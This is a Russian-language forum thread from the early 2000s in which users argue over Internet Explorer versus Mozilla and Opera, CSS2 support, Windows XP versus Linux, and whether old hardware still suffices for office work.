» Браузерные войны

zapimir
Цитата:

Цитата:

ПРедприятие работает с 286 потому что 286 удовлетворяет запросы конкретной задачи.
Некоторых и счеты удовлетворяют Видать задачи у них просто супер

Задачи как задачи, их сто лет назад под ДОС разрешили, и все работает.
Самое смешное - то, что компы-то стоят неплохие, на них играются, а для работы ДОС-проги используют... Дорогая однако игрушка...
И опять Линукс. Еще одна проблемма, почему его никто не юзает - потому что его никто не юзает! Объясню. Если я - чайник, поставил винду, и что-то мне не понятно (такой отвратной справки как в винде я раньше в страшном сне не видел, объясняется не суть вопроса, а тонкости, которые не поймешь, не зная сути) , я спрошу у любого знакомого, и мне объяснят. Если я ставлю Линукс, и у меня проблемма, ни у кого я не спрошу, потому что его никто не юзает. Поэтому и вопрос: Какой Линукс лучше ставить, если мне помочь при необходимости некому?

Цитата:

Главная проблема Mozilla - это её скины, скины это всегда дополнительные тормоза

Есть легкий скин Breeze, если тормоза - рекомендую. У меня стоит.

Цитата:

В трее и быстром запуске и так много всего висит, хотя в XP удобно сделали, там трей сворачивается, скрывает проги которые не юзаются. Так что, той же очень полезной иконки Java не видно

Юзай Астон, проблемм не будет.

Цитата:

Да при таких темпах развития у машин, ты на литре бензина должен проезжать тысячи километров за считанные минуты (если не за секунды)

Ну так давай все будем ездить только на гоночных Феррари, дажн те, кто дальше магазина не ездит, и бензин только 98 оставим, пость все жигули выкидывают, феррари же быстрее будет... А все другие машины - отстой, потому что медленнее... Или потому, что не Феррари...

Цитата:

А они типа сверх архиваторы изобрели?

никаких особых сверхарвиторов просто софт написан более аккуратно, ставил в свое время такой продукт как PCSuite заменитель офиса так у него инсталяха всего то около 18 мегов, для подавляющего большинства юзеров его хватает с избытком а рядом лежит монстр от микрософта на 3 CD.
Adobe, я надеялся чо по выходу хотя бы 7 версии шопа он научиться понимать юникод, увы, на дворе 21 век а там похоже живут еще в каменном, заставляя юзеров лазить по реестру и править кодовые страницы или за свои кровные лазить в инет и качать патчи к сырому продукту.
По поводу процессоров читать больше надо все таки, не так давно та же НАСА было очень огорчена тем что если я не ошибаюсь AMD прекратило выпуск 486 процов.

Цитата:

Если у тебя нормальная клава то случайно комп ты не вырубишь, т.к. эти кнопки далеко находятся, если у тебя какая- то 5 баксовая клава, в которой кнопки выключения находятся под delete/end/pgdn (видел я такие), то ничем не могу помочь... Я часто юзаю приостановку вполне удобно, и находится она в углу клавы. К тому же есть еще один момент, это привычка, ну привык я переключаться Ctrl+Shift (это уже рефлекторно происходит)

То, где клавиши расположены, не имеет никакого значения. Лично у меня - на месте Printscreen, Scroll lock и Pause (в том же ряду что и функциональные). Все равно пару раз попал. Мне хватило.

У стандартной раскладки горячих клавиш в Винде КУЧА недостатков (ИМХО). Не используется целый ряд функциональных клавиш, на Win-key висит всякая фигня, которую пользователь не может переопределить. Практически простаивают 3 кнопки управления питанием ("дизайнеры", делайте колпачки или диалоговое окно "хотите ли вы усыпить комп"), Printscreen, Scroll lock, Pause, Winkey*2, Context menu.. Сколько дополнительных фич на них можно навесить... А фиг.


Цитата:

Есть в этом и свои плюсы, у всех одни и теже комбинации клавиш, никаких проблем, если тебе нужно поработать на чужом компе...

В нормальных осях есть поддержка нескольких юзеров со своими настройками для каждого (если за машину часто садятся посторонние). Если эта фича очень не нравится - сохраняем существующую раскладку, грузим стандартную (на все про все - 20 секунд).


Цитата:

Что-то я сильно сомневаюсь, что он до уровня Photoshop дотягивает.

Желаю тебе успехов в этом нелегком деле. Оценка программы без необходимости работы с ней - сложнейшее искусство, я до этого ещё не дорос. А у тебя уже получается.


Цитата:

Ну и зачем они нужны? Всеравно ни один из них не работает как IE. Мозилла хоть и более-менее поддерживает стандарты, но очень много сайтов всеравно в ней выглядят криво. И не нужно говорить, что они не соответствуют стандарту, тут самый веский аргумент в IE они выглядят отлично, а если Мозилла хочет потеснить IE, она как минимум должна показывать всё, что показывает IE, если бы её выпустили вместо NN4 то возможно расклад был бы другим, а так отвоевать утраченное уже не реально.

Going round and round and round and round and round...


Цитата:

Не требует она много памяти, только что поставили соседу XP, "голая винда" хавает меньше 70 МБ памяти, при этом её только поставили никак вопросов о драйверах и т.п. всё работало, и модем, и сеть, и звуковуха, и видео, всё... Там есть новороты всякие глафические, типа всяких расстворяющихся меню, и т.п. Для нужен более-менее мощный проц, но никто не мешает их выключить, а владельцам мощных компов будет приятно это видеть. И я комп апгрейдю не из-за винды, а из-за другого софта, если бы я что-то делал в Photoshop на 166/32 RAM я бы наверное лучше застрелился, и таких примеров множество, или ты будешь верстать журнал за таким компом, или работать с базами данных по сотне мегабайт? Может быть для твоей работы тебе его хватает, но ты не один, поэтому в большинстве случаев люди не задумываются о том что нужно системе, её просто ставят., так как держать железо в нормальном соотоянии нужно для работы с другим софтом. Кстати о железе проц 1ГГц стоит 60 баксов, память 256М - 30 баксов, мой знакомый на днях купил комп б/у (Duron 800/128МБ SDRAM/HDD Quantum AS 30GB/ GeForce 2 MX/CDROM Teac 40x + 17" монитор) за 350 баксов, это что гигантские деньги?

Обучение работе с новой ОС, отлов её косяков и перенос данных это время. Есть люди, не желающие тратить это время (но имеющие достаточно денег для покупки нового крутого компа). Есть фирмы, в которых на вылизывание и тестирование конфигурации уйдет вагон времени и денег. Есть фирмы, где на этих компах 10 лет назад набирали тексты и сейчас продолжают набирать тексты без каких-либо проблем. Есть старый софт, глючащий на новой Винде. И, наконец, есть старинный принцип "не чини то, что не сломано".

Кстати, как же так получается, что у владельца современного компа не найдется денег на лишний компакт или два?


Цитата:

Не сказал бы что намного, хотя смотря с чем сравнивать... Раньше шкафчики были которые мегаватами жрали. Я думаю если сравнить удельную мощность 286 и какого нибудь P4 (т.е. количество операция на расходуемую мощность) то у P4 эти показатели будут намного лучше. Нельзя например сравнивать сколько жрет карьерный Белаз и какая-нибудь грузовая Газель...

А если людям хватает Газели и им пофигу, что при транспортировке десятков тонн БелАЗ удобнее? Если им надо возить 150 кило груза?


Цитата:

А они типа сверх архиваторы изобрели?
Ну так они туфту всякую туда не пихают не нужную, а если в Linux всё есть что ж её так мало юзают?

Архиваторы не изобретали. При статической линковке, софтина притаскивает с собой (точнее внутри себя) все библиотеки, которые могут понадобится. При динамической линковке система должна обеспечить наличие нужных библиотек, софтина не должна тащить их на себе. Следствие: динамическая линковка позвляет очень сильно сократить количество дубликатов библиотек и уменьшить объем занимаегого пространства (на диске и в памяти). Кроме этого, при обнаружении уязвимости в библиотеке достаточно пропатчить её один раз, а не патчить весь софт, который её использует. В Винде софт использует статическую линковку. В Линуксе - динамическую.

Насчет использования (по крайней мере в оффисе) я уже ответил - дело в монополии на форматы МС Офиса. Будет открытый формат .doc - будет Линукс на работе - будут драйверы - будет Линукс дома.


Цитата:

Некоторых и счеты удовлетворяют Видать задачи у них просто супер

Да, им как-то хватает нескольких миллионов операций в секунду.
Это какого размера должна быть фирма, чтобы ей на бухгалтерию не хватало 286? Или 486?


Цитата:

Ага в космических аппаратах, которые запустили лет 20 назад

Не только. Просто он работает, а больше им и не надо.


Цитата:

Очень сильно сомневаюсь, там студия с многомиллионым оборудованием и софт у них соответствующий, я сомневаюсь что ты его где то скачаешь или купишь. И рисуют они вроде как на Silicon Graphics всё, компики такие по поллимона баксов.

http://news.com.com/2100-1001-945310.html
http://www.linuxjournal.com/article.php?sid=6011


Цитата:

Какой Линукс лучше ставить, если мне помочь при необходимости некому?

Даже если под боком нету линуксоида, есть помощь через IRC. Самые толстые каналы помощи - у debian и gentoo. И, конечно же, есть каналы, посвященные конкретному софту.

Цитата:

Даже если под боком нету линуксоида

Как нету? А интернет зачем? И Аська, и Одига, и форумы, и чаты, и IRC...
Отвлеченные размышления:
К сожалению, большинство более-менее приличного софта в Виндах раздуваются до фантастических масштабов. Но вместо того, чтобы занятся вылизванием уже существующих позиций, И Билли и софт-компании предпочитают идти путем экстенсии - расширения фишек на полусыром продукте. В результате стандартная операция виндов - это недопустимые операции. Из-за обилия недоделанных кусков софта, неполной деинсталляции, ошибок реестра...
Кстати, наиболее устойчивые ОС из Windows - имеют чужое ядро NT.
К вопросу об эксплорере и Мозилле - у каждого браузера есть достоинства и недостатки по отношению друг к другу. В связи с тем, что
IE - это гипертрофированный проводник, часть системы, и идет вместе с ОС, ессно, он в более выгодном положении, ни тебе скинов тащить с собой, ни библиотек... все рядом. Однако первая же ошибка приведет к падению ВСЕЙ системы. Скины в Мозилле - дело добровольное. Можно выбрать с минимумом размера. 200 кило, а можно навороченный на 3 метра. Ессно он будет сидеть в памяти, то делайте выводы. У меня скин пилота и я на Мозиллу не жалуюсь.
Если бы были проблемы, как с 6 нетшкафом, я бы ее немедленно выдворил с компа и продолжал юзать IE.
А кто обьяснит мне, по какому принципу пишут стандарты, если 95% юзеров используют IE, который на них чхал? Странно....
Кстати скины в Опера 6 уже поддерживаются. И WinXP тоже

Цитата:

Тебе уже 2-3 человека сказали, что там все
видно.

Под ХР и у меня видно. А под Win98 нет. Настройки везде одинаковые
Вот я и удивляюсь глюку.
Возможно, IE У меня криво встал(хотя это и самая лучшая в мире программа).

Цитата:

Не требует она много памяти, только что поставили соседу XP, "голая винда" хавает меньше 70 МБ памяти, при этом её только поставили никак вопросов о драйверах и т.п. всё работало, и модем, и сеть, и звуковуха, и видео, всё.

Где, на Диске?! Вы с ума сошли. 70 метров для winXP...
Да она все увидела. А Вы не считаете, что родные драйвера от производителей hardware встанут лучше и обеспечат более эффективную его работу.
Так что смысл того, что "она все увидела"
мне например сразу дали все драйвера для железа, и за пару минут я все скормил компу, после того, как winXP все нашла. Устаревшие дрова заменил скачанными из сети.
Я больше доверяю родным дровам. ( в смысле от производителя железки)
Кстати астон я недавно поставил, присмативаюсь. Хорошая штука, удобная.

kullibbin

Цитата:

Или потому, что не Феррари

Даже Феррари не развивается так интенсивно как компы, максимальная скорость как была раньше лет 10 назад ~350 км/ч, так и осталась... да и топлива жрет на том же уровне, а ведь это самые дорогие машины.

Цитата:

PCSuite заменитель офиса так у него инсталяха всего то около 18 мегов, для подавляющего большинства юзеров его хватает с избытком а рядом лежит монстр от микрософта на 3 CD

Во-первых, я лично сомневаюсь что в PCSuite есть всё что есть в комплектации MS Office (Word, Excel, Powerpoint, Access, FrontPage, Outlook) и куча мелочи типа редакторов формул и т.п., во-вторых, на 3-х компактах, кроме офиса еще куча всякой туфты типа картинок и т.п., а папка с инсталляцией офиса XP весит 260 метров.

Цитата:

Adobe, я надеялся чо по выходу хотя бы 7 версии шопа он научиться понимать юникод, увы, на дворе 21

Видимо на то есть причины, так как лицензионных версий Photoshop еще меньше, чем лицензионных виндов.

Цитата:

не так давно та же НАСА было очень огорчена тем что если я не ошибаюсь AMD прекратило выпуск 486 процов

Не так давно??? Интересно... Кстати на том же болиде Формулы-1, используется 3-4 проца уровня P3, типа шатл это не такое сложное устройство? Кстати думаю, если бы NASA так нужны были такие процы, то они без особых проблем наладили бы их производство, учитывая их расходы на различные космические программы...
Kobold

Цитата:

дизайнеры", делайте колпачки или диалоговое окно "хотите ли вы усыпить комп"

Кстати у меня так и сделано, у меня на клаве кнопка выключения питания открывает менюшку, кнопка приостановки работает по назначению без всяких менюшек.

Цитата:

Printscreen, Scroll lock, Pause

Так их и используют разные проги для разных целей.

Цитата:

Оценка программы без необходимости работы с ней - сложнейшее искусство, я до этого ещё не дорос

Просто чтобы сделать софтину такого качества, нужен громадный опыт, причем не только в программировании, а и в дизайне. Именно поэтому Photoshop считается неоспоримым лидером среди редакторов растровой графики. Кстати, Photoshop 6 получил награду как лучшая софтина прошлого года.

Цитата:

Обучение работе с новой ОС

Какой новой ОС? Переход на XP обычно осуществляется с других виндов, и никаких проблем с переходом, не будет. А вот переход на Linux действительно потребует много времени на обучение.

Цитата:

есть старинный принцип "не чини то, что не сломано".

Я считаю что этот принцип к обновлению компов не относится, хотя не хочешь не обновляй, но и нечего кричать, что новый софт у тебя не пашет.

Цитата:

что у владельца современного компа не найдется денег на лишний компакт или два

Деньги то найдутся, но Linux будет самое последнее на что он захочет их потратить

Цитата:

Будет открытый формат .doc - будет Линукс на работе - будут драйверы - будет Линукс дома

Помечтай, помечтай...

Цитата:

Это какого размера должна быть фирма, чтобы ей на бухгалтерию не хватало 286? Или 486?

Любая... Хотя есть люди которые результаты вычислений на калькуляторе, на счетах проверяют. Наверное фирмы того же уровня и на 286х работают.

Цитата:

http://news.com.com/2100-1001-945310.html
http://www.linuxjournal.com/article.php?sid=6011

И что? Ты можешь на своем компе сделать что-либо подобное? Пробовал кто-то на своем 166/32 (или может на твоем любимом 286м) нелинейный монтаж делать, с различными эффектами и т.п.? Или ты думаешь, что у WinXP какие-то проблемы со скоростью будут на компьютере который позволяет нормально заниматься видео?
biomednet

Цитата:

Как нету? А интернет зачем? И Аська, и Одига, и форумы, и чаты, и IRC...

Это всё конечно хорошо, а если инета нету?

Цитата:

Из-за обилия недоделанных кусков софта, неполной деинсталляции, ошибок реестра

Да и во всем этом естественно MS виновато, конечно все пишут идеальные дрова, программы. А если что-то заглючило то во всем виновата винда.

Цитата:

Кстати, наиболее устойчивые ОС из Windows - имеют чужое ядро NT.

Самая стабильная WinXP. А ядро NT по-твоему никогда не менялось, а да, его специально линуксоидам заказывают делать

Цитата:

Однако первая же ошибка приведет к падению ВСЕЙ системы

Еще ниразу IE6 не вырубал систему. Вообще чтобы вырубить XP нужно очень-очень сильно постараться. Так что падений всей системы я не наблюдал, наверное с перехода на XP. Именно поэтому я работаю на ней.

Цитата:

А кто обьяснит мне, по какому принципу пишут стандарты, если 95% юзеров используют IE, который на них чхал

Во-первых, последние измения в HTML4 и CSS2 были насколько я помню 98 году. Тогда по-моему появился IE4, он значительно лучше был чем NN4, т.к. в последнем как раз решили не особо поддерживать стандарты, а напридумывали своих тегов, свойств. Вот тогда как раз и началось писание под IE, т.к. ты просто смотрел доки, делал по ним страничку и все работало, и чтобы заставить страницы работать так как ты хочешь в NN столько гемора было, к тому всеравно DHTML он не понимал. Во-вторых, кто сказал что IE чхал на стандарты, он отлично их поддерживает, а кроме того прощает создателям страниц различные мелкие ошибки. В-третьих, когда IE стал уже довольно популярным, туда начали добалять различные полезные фичи (о полезности фич говорит их активное использование). В-третьих, до выхода Мозиллы можно было смело сказать, что это все остальные броузеры, кроме IE, чхать хотели на стандарты. А у мозиллы проблема другая, они очень большой упор сделали на стандарты (хотя их поддержка тоже пока не полная, я это легко доказал), если Мозиллу не будут делать более дружелюбную - это её погубит. Вот представим ситуацию, я сисадмин, поставлю на работе всем сотрудникам IE и Мозиллу, они полазят на одном, полазят на другом, увидят странички которые на Мозилле выглядят криво, а на IE нормально и что они по-вашему будут юзать (даже если предположить, что броузеры работают с одинаковой скоростью)? Даже наш любимый Ru.Board не полностью соответствует стандартам, и тот же хобот тоже.

Цитата:

Под ХР и у меня видно. А под Win98 нет.

А ты часом не скачал версию IE для XP? А вообще на 98 лучше всего наверное IE5.5 ставить. Хотя у знакомых на 98/ME IE6 отлично "бегает" (хотя компы у них пошустрее, чем у тебя)

Цитата:

Где, на Диске?! Вы с ума сошли. 70 метров для winXP

Я же написал памяти. Или ты не знаешь разницы между памятью и диском? Или тебе сильно непонятно откуда такие данные о памяти?
А на диске она занимает гиг, об этом по-моему уже говорилось.

Цитата:

А Вы не считаете, что родные драйвера от производителей hardware встанут лучше и обеспечат более эффективную его работу

Не всегда, например, Radeon на работе выдает при родных драйверах 1280x1024 90Гц, а при XP'шных на том же разрешении 100Гц Так что на WinXP приходится задуматься ставить дрова родные или XP'шные. Производители бывают разные, далеко не все могут похвастаться качественными, классными дровами. Родные дрова имеет смысл ставить, только для железа вышедшего после XP. А для железа 2-3 летней давности, имхо лучше ставить XP'шные. К тому установка дров в XP намного приятнее, нет такого количества перезагрузок, кроме того можно вернуть предыдущую версию дров, если глючить будут. Причем вообще классно, вот сегодня нужно было модем внутренний проверить, усыпил комп (все программы остались в том состоянии в котором и были), поставил модем включил комп, он проснулся, нашел модем, винда сказала, что устройство найдено и готово к работе, и всё, я продолжил заниматься тем, чем занмался до установки, но уже с новым модемом. Действительно Plug&Play, а не Off & Plug & On & Install Drivers & Reboot & Play. Вот за это мне и нравится WinXP

zapimir IE6 не поддерживает элементарные стандарты CSS2, который вышел еще в 98 году. Я поэтому и спрашиваю, будет ли в IE7 полностью поддерживаться CSS2? Мозилла поддерживает CSS2 в гораздо большем объеме.

Цитата:

Мозилла поддерживает CSS2

Кто тебе такое сказал? Мозилла HTML-то не полностью поддерживает, о чем разговор?
Кстати вот от того, что IE6 что-то не поддерживает в CSS2, тебе этого сильно не хватает, при создании сайтов?
Ты покажи сайты на которых IE плохо показывает CSS...

Kobold

Цитата:

В Винде софт использует статическую линковку. В Линуксе - динамическую.

Вот спасибо, а то я все голову ломал, откуда такие мегабайты...

Цитата:

Даже если под боком нету линуксоида, есть помощь через IRC. Самые толстые каналы помощи - у debian и gentoo. И, конечно же, есть каналы, посвященные конкретному софту.

Я имел в виду, что поставить, которое меньше проблемм создаст при установке и работе, скорее при работе, я пока не имею понятия, как прогу новую поставить, интерфейс нужен удобный. Поэтому и спросил. А вообще - http://forum.ru-board.com/topic.cgi?forum=5&topic=4663
biomednet

Цитата:

Из-за обилия недоделанных кусков софта, неполной деинсталляции, ошибок реестра...

А это - еще то дерьмо, заставляющее порой и систему переустановить. Работа с реестром крайне неграмотная. Приходится юзать дополнительный софт для его чистки, а ведь он с виндой не идет!

Цитата:

Как нету? А интернет зачем? И Аська, и Одига, и форумы, и чаты, и IRC...

Чтоб это юзать, надо УСТАНОВИТЬ браузер и прочее, а как в форумах отвечают на глупые (на взгляд профессионала) вопросы, я знаю.

Цитата:

Кстати астон я недавно поставил, присмативаюсь. Хорошая штука, удобная.

По-началу проблеммки могут быть небольшие, это от того, что там есть совсем неожиданные вещи... Всегда помогу, ключом тоже. kullibbin@mail.ru

Цитата:

Вы с ума сошли. 70 метров для winXP...

Да не то, это она столько RAM хавает, совсем чуть-чуть...
zapimir

Цитата:

Я считаю что этот принцип к обновлению компов не относится, хотя не хочешь не обновляй, но и нечего кричать, что новый софт у тебя не пашет.

А мы тут говорим не про новый софт, а про ИЕ6, который без ХР - пустое место. И сравниваем его с мазилой или оперой, которая хоть на хр, хоть на 95, хоть на Линуксе - отлично в меру сил пашут.А если ИЕ5 вспомнить, который в 98 вшит, то кучи плюсов потеряются, ха-ха, но ИЕ6 весит около гига, потому что с ХР, и это - факт!

Цитата:

Я считаю что этот принцип к обновлению компов не относится

А должен, потому что этот принцип элементарно разумный, значит - правильный А то получается, кто ИЕ6 хвалит - значит свой комп мощный хвалит вместе с ХР, который естесно лучше слабого, но только для инета менять комп - ! А если уж на ТАКОМ компе ИЕ6 может ЛИШЬ то, что может - скудновато, однако! Мазила то же самое и на моем может, даже больше Мелкие баги не в счет, думаю, их пофиксят. По крайней мере, пофиксили много, и работа продолжается, намного быстрее, чем над ИЕ.

Кстати вот от того, что IE6 что-то не поддерживает в CSS2, тебе этого сильно не хватает, при создании сайтов? Вопрос на засыпку: зачем придумывали CSS2? Зачем нужен HTML 4.01, если все можно сделать в рамках HTML 3.2? Наверняка твой сайт прекрасно обошелся бы без HTML4 и CSS.

Ты покажи сайты на которых IE плохо показывает CSS... Таких сайтов не делают. Именно потому что IE пользуются 95% и сайты "затачивают" так чтобы в IE все отображалось как задумано.

Можешь увидеть здесь разницу в отображении мозиллой и IE

zapimir

Цитата:

Кстати вот от того, что IE6 что-то не поддерживает в CSS2, тебе этого сильно не хватает

Строго по такому же принципу я к мазиле отношусь, мне главнее ее удобство и скорость, и мне плевать, если она что-то где-то ПОКА не совсем верно показывает, я на сайтах информацию ищу, а не дизайном любуюсь. Опера иногда совсем страничку не показывает, поэтому я 7-ю и жду, если б не это, оперу юзал бы и ни о МУИЕ ни о мазиле не знал бы.

Цитата:

Во-первых, я лично сомневаюсь что в PCSuite есть всё что есть в комплектации MS Office (Word, Excel, Powerpoint, Access, FrontPage, Outlook) и куча мелочи типа редакторов формул и т.п., во-вторых, на 3-х компактах, кроме офиса еще куча всякой туфты типа картинок и т.п., а папка с инсталляцией офиса XP весит 260 метров.

Если сомневашься - проверь. Ппоробуй этот офис, СтарОфис, что их, мало?


Цитата:

Не так давно??? Интересно... Кстати на том же болиде Формулы-1, используется 3-4 проца уровня P3, типа шатл это не такое сложное устройство? Кстати думаю, если бы NASA так нужны были такие процы, то они без особых проблем наладили бы их производство, учитывая их расходы на различные космические программы...

На болиде Формулы 1 условия намного мягче и ошибка стоит намного меньше. Вот и юзают прогрессивные технологии.


Цитата:

Кстати у меня так и сделано, у меня на клаве кнопка выключения питания открывает менюшку, кнопка приостановки работает по назначению без всяких менюшек.
Так их и используют разные проги для разных целей.

Чудесно. А я хочу испрользовать их для своих целей. По одной или в комбинациях. Ну что, долго ещё ты будещь оправдывать ненастраиваемость клавы?


Цитата:

Просто чтобы сделать софтину такого качества, нужен громадный опыт, причем не только в программировании, а и в дизайне. Именно поэтому Photoshop считается неоспоримым лидером среди редакторов растровой графики. Кстати, Photoshop 6 получил награду как лучшая софтина прошлого года.

Или пробуй и говори конкретно, что не нравится, или отдыхай. А то пошла очередная дурь в стиле "только большая фирма может создать качественную серверную операционную систему". Создавали и без больших фирм.


Цитата:

Какой новой ОС? Переход на XP обычно осуществляется с других виндов, и никаких проблем с переходом, не будет. А вот переход на Linux действительно потребует много времени на обучение.

Ты редко встречал людей, которые вызванивают "специалиста", тогда у них сдыхает домашняя страничка брузера. Пробег по настройкам и отключение умных нововведений ХР - не для них.


Цитата:

Любая... Хотя есть люди которые результаты вычислений на калькуляторе, на счетах проверяют. Наверное фирмы того же уровня и на 286х работают.

И какие же задачи бухгалтерии фирмы с сотней-другой сотрудников требуют машины выше 486?


Цитата:

И что? Ты можешь на своем компе сделать что-либо подобное? Пробовал кто-то на своем 166/32 (или может на твоем любимом 286м) нелинейный монтаж делать, с различными эффектами и т.п.? Или ты думаешь, что у WinXP какие-то проблемы со скоростью будут на компьютере который позволяет нормально заниматься видео?

Кто про что, а я про наличие софта для желающих. И нафига ты сюда древние компы приплел?


Цитата:

Это всё конечно хорошо, а если инета нету?

А если под виндой инета нету, а хочется по асе поговорить? То же самое, звоним знакомому - компьютерщику.


Цитата:

Самая стабильная WinXP. А ядро NT по-твоему никогда не менялось, а да, его специально линуксоидам заказывают делать

Ты совершенно прав. Загляни-ка в C:\Windows\system32\drivers\etc\ и подумай, почему на твоей машине работает инет.


Цитата:

Еще ниразу IE6 не вырубал систему. Вообще чтобы вырубить XP нужно очень-очень сильно постараться. Так что падений всей системы я не наблюдал, наверное с перехода на XP. Именно поэтому я работаю на ней.

А я наблюдал падения. И не один раз.


Цитата:

А ты часом не скачал версию IE для XP? А вообще на 98 лучше всего наверное IE5.5 ставить. Хотя у знакомых на 98/ ME IE6 отлично "бегает" (хотя компы у них пошустрее, чем у тебя)

Кстати, как там с удалением нового ИЕ из системы? Он удаляется или старается не дать пользователю допустить величайшую ошибку в его жизни - отказ от использования лучшего в мире браузера?

Kobold
По одной или в комбинациях. Ну что, долго ещё ты будещь оправдывать ненастраиваемость клавы? Ну а меня мультимедийная клава. И хочу в Линуксе почту вызывать и громкость настраивать спецкнопками которые для этого на клаве есть. И как это сделать? Да никак!

Цитата:

Да не то, это она столько RAM хавает, совсем чуть-чуть...

не намного больше 98й

Цитата:

если ИЕ5 вспомнить, который в 98 вшит, то кучи плюсов потеряются, ха-ха, но ИЕ6 весит около гига, потому что с ХР

Ну IE5.5 тоже отличный броузер, IE6 нормально работает на WinME и Win98, если скачать версию под эту ось. Кстати я уверен, что то что нормально покажет IE6, нормально покажет и IE5.5.

Цитата:

По крайней мере, пофиксили много, и работа продолжается, намного быстрее, чем над ИЕ

Ну так и багов больше Например, я пробовал Мозиллу когда страничку новую делал, она очень не любит их обновлять, чего я только не нажимал (и стоит обновление при каждой загрузке), пришлось вырубить, включить тогда обновила, это типа нормально?
К тому же IE не нужно надрываться, у них броузер намного стабильнее и багов меньше, да и лидируют они.

Цитата:

Вопрос на засыпку: зачем придумывали CSS2

Там куча туфты есть, не особо кому-то нужной. По-поводу моих сайтов на HTML3.2 врятли, мне нравится DHTML юзать.

Цитата:

Именно потому что IE пользуются 95% и сайты "затачивают" так чтобы в IE все отображалось как задумано

Ну так, а я о чем говорю, а под Мозиллу их делать никто не будет, поэтому если они хотят что-то отвоевать у IE, они должны показывать как IE.

Цитата:

Можешь увидеть здесь разницу в отображении мозиллой и IE

Ну это относится к той же баге с DIV'ами. А как ее увидят владельцы старых броузеров того же NN4? А вообще чел загадочный, вверху использует таблицу, а там DIV'ы, но ты покажи хоть какой-то более-менее серьезный дизайн, который будет юзать DIV?

Цитата:

я на сайтах информацию ищу, а не дизайном любуюсь

ну так тебе и текстового броузера хватит

А вообще посмотрел стандарт CSS2 потестил на разных броузерах примерчики, и могу заявить не один из современных броузеров не поддерживает полностью CSS2, ни IE6, ни Opera6, ни Мозилла 1.1. Причем не понимают они чаще всего разные вещи. Хотя в этом CSS2 столько всего напридумывали, я просто думаю что не особо хотят всё это реализовывать, т.к. это может сильно замедлить процесс рендеринга страниц, а толку от этого будет мало, ИМХО.
Kobold

Цитата:

Ппоробуй этот офис, СтарОфис, что их, мало

Ага и где я его откопаю?

Цитата:

На болиде Формулы 1 условия намного мягче и ошибка стоит намного меньше. Вот и юзают прогрессивные технологии

Ну как показали тесты, P4 не горит даже без кулера и радиатора, но работает всеравно пошустрее 486. И как я уже сказал, если NASA понадобится они смогут договориться как с Intel, так и с AMD

Цитата:

Создавали и без больших фирм

Дело не в величине фирмы, дело в опыте фирмы...

Цитата:

То же самое, звоним знакомому - компьютерщику

У меня нет знакомых юзающих Linux, так что звонить некому...

Цитата:

А я наблюдал падения. И не один раз.

Ну если Linux слетала когда в Мозилле очень большой шрифт выводишь, то о чем говорить. Я не говорил что XP совсем завалить нельзя, есть люди талантливые. Но работы в течении недели без перезагрузок мне хватает.

Цитата:

Он удаляется или старается не дать пользователю допустить величайшую ошибку в его жизни - отказ от использования лучшего в мире браузера

Ну так его же специально встроили, чтобы антимонопольный коммитет не вякал

Цитата:

а меня мультимедийная клава. И хочу в Линуксе почту вызывать и громкость настраивать спецкнопками которые для этого на клаве есть.

Аналогично, громкость в XP с клавы регулируется даже без установки дров.

Bozo
С чего ты это взял?

zapimir

Цитата:

Ага и где я его откопаю?

У кого там возле дома диски вагонами продаются?


Цитата:

Дело не в величине фирмы, дело в опыте фирмы...

Флейм гонять легче чем пробовать новый софт.


Цитата:

У меня нет знакомых юзающих Linux, так что звонить некому...

Тот кто ищет, всегда найдет... Когда я родился, у меня тоже не было знакомых Линуксоидов. Представляешь, как-то нашел.


Цитата:

Ну если Linux слетала когда в Мозилле очень большой шрифт выводишь, то о чем говорить. Я не говорил что XP совсем завалить нельзя, есть люди талантливые. Но работы в течении недели без перезагрузок мне хватает.

Падал не Линукс, а один из серверов протокола X11 (конкретно - XFree86). А есть и другие... Да и к машине с упавшим XFree86 можно без каких-либо напрягов приSSHишся и перезапустить сервер.

могу заявить не один из современных броузеров не поддерживает полностью CSS2, ни IE6, ни Opera6, ни Мозилла 1.1. Вот только в мозилле не поддерживаются редкоиспользуемые фичи, а в IE бОльшая часть.
Хотя в этом CSS2 столько всего напридумывали, я просто думаю что не особо хотят всё это реализовывать, т.к. это может сильно замедлить процесс рендеринга страниц, а толку от этого будет мало, ИМХО.
Толку от этого тем больше чем больше трафик исходящий у твоего сайта. Видимо трафик твоего сайта не так велик, чтобы тебе пришлось задумываться, как бы его снизить. Почитай форум ixbt, какой у них канал, какой ежедневный исходящий траффик у конференции, и почему MN перевел движок конфы не на HTML 3.2 а на CSS + JS. И специально пишет, что он ><y# клал на пользователей NN4, и не будет ради 2-3 неудачников увеличивать расходы по оплате трафика. И правильно все делает, я целиком за.

Нажми на ссылку "сайт" в моих постингах.

Kobold

Цитата:

У кого там возле дома диски вагонами продаются?

Ну вагонами не продаются, но расскладки по несколько сотен компактов попадаются очень часто, хотя большая часть из них - фильмы и мызыка. Софт для Linux большая редкость... Вот винду купить, или офис это без проблем.

Цитата:

Флейм гонять легче чем побовать новый софт.

И аналог Dream'а есть под Linux? Понимаешь, просто даже под Винду есть проги аналоги Photoshop, и от Corel, и от Macromedia, и других фирм, и стоят они тоже порядочно (да и фирмочки весьма солидные). Но всеравно с Photoshop как-то приятнее работать. Вот поэтому я довольно скептически отношусь к gimp, для того чтобы написать, аналог Photoshop, мало быть классным программистом...
А попробовать тяжеловато, хотя бы потому что для начала нужно все это достать (ту же Linux), установить для этого нужно выделить отдельный раздел диска, потом ознакомиться с Linux, с gimp и т.п. К тому же, всеравно я очень давно юзаю Photoshop, у меня есть толстенные книги по нему, и работаю с ним не на уровне продвинутого чайника, не скажу что я супер художник/дизайнер, но то, что мне нужно сделать с фотками или с графикой, я сделаю быстро и без особых проблем. К тому же на всё это нужна куча времени, я не могу выделить его, для того чтобы просто сравнить Linux и Win, особенно после моего не самого лучшего знакомства с Linux RedHat (кстати её ставил чтобы скрипты потестить в более реальных условиях, ну и чисто из любопытства). Я надеюсь ты не будишь спорить что для виндов софта больше, и найти-то что тебе нужно проще?

Цитата:

Когда я родился, у меня тоже не было знакомых Линуксоидов

Ха-ха. Когда я родился еще и о MS-DOS никто ничего не знал

Цитата:

Падал не Линукс, а один из серверов протокола X11 (конкретно - XFree86). А есть и другие...

Ну ты меня успокоил. В XP из-за больших шрифтов ничего не падает
Кстати с PDF вроде у Мозиллы проблемы?

Добавлено
Bozo

Цитата:

Вот только в мозилле не поддерживаются редкоиспользуемые фичи, а в IE бОльшая часть.

А кто определяет какие редкоиспользуемые, а какие нет? По-моему как раз то что в IE есть то и часто используемое, а вот то что в мозилле редкоиспользуемое, или я не прав?

Цитата:

